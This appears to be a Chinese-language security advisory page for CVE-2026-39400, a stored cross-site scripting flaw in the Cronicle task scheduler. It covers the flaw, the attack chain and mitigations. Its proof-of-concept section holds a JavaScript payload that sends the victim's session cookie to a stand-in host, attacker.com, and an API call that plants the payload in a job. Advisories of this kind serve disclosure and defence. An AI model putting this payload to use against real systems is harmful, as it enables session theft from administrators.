IPBUF安全漏洞报告
English
CVE-2026-39400 CVSS 6.1 中危

CVE-2026-39400 Cronicle存储型XSS漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39400
漏洞类型
存储型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Cronicle

相关标签

XSSCronicle存储型跨站脚本Web安全

漏洞概述

Cronicle是一款多服务器任务调度工具。在0.9.111版本之前,该系统存在存储型XSS漏洞。拥有特定权限的非管理员用户可以通过作业输出字段注入恶意JavaScript代码。由于服务器端未对数据进行充分净化,当管理员或其他用户访问作业详情页面时,恶意脚本将在客户端被执行,可能导致会话劫持或进一步攻击。

技术细节

该漏洞属于典型的存储型跨站脚本攻击(Stored XSS)。在Cronicle 0.9.111之前的版本中,应用程序未对作业输出字段(包括html.content、html.title、table.header等)实施严格的输入验证和输出转义。尽管攻击者需要具备create_events和run_events权限,但这通常是低权限用户即可获得。攻击者通过创建任务并定制输出内容,将恶意Payload注入服务器。当高权限用户(如管理员)查看任务详情页时,前端代码使用危险的innerHTML API直接渲染未净化的数据,触发恶意脚本执行。此漏洞可被用于窃取管理员Session、进行钓鱼攻击或执行未授权操作,且由于CVSS向量中Scope为Changed,其危害性进一步放大。

攻击链分析

STEP 1
步骤1:权限获取
攻击者注册或获取一个非管理员账户,该账户拥有create_events(创建事件)和run_events(运行事件)权限。
STEP 2
步骤2:恶意载荷注入
攻击者创建一个新的计划任务,并在作业输出字段(如html.content或table.rows)中输入包含JavaScript的恶意代码。
STEP 3
步骤3:数据存储
任务执行或保存时,Cronicle服务器将未经过滤的恶意代码直接存储在数据库中。
STEP 4
步骤4:触发漏洞
管理员或其他高权限用户登录系统并访问该任务的“Job Details”页面。
STEP 5
步骤5:代码执行
客户端浏览器解析服务器响应,通过innerHTML渲染受污染的作业输出,导致恶意JavaScript在受害者上下文中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-39400 * Context: Injecting payload into job output fields (e.g., html.content) */ // Malicious payload to be stored in the job output // This payload steals the document cookie and sends it to an external server var xssPayload = '<img src=x onerror=fetch(\'http://attacker.com/steal?c=\'+document.cookie)>'; // Hypothetical API call to create a job with the malicious output // The attacker uses their 'create_events' and 'run_events' privileges fetch('/api/app/create_job', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ title: 'Scheduled Maintenance', plugin: 'shell', params: { // The vulnerable field where XSS occurs html_content: xssPayload } }) }); // When an admin views this job, the script executes.

影响范围

Cronicle < 0.9.111

防御指南

临时缓解措施
如果无法立即升级,应严格限制非管理员用户的create_events和run_events权限,仅允许受信任的用户创建任务。同时,建议部署Web应用防火墙(WAF)以检测和拦截针对Job Details页面的XSS攻击流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表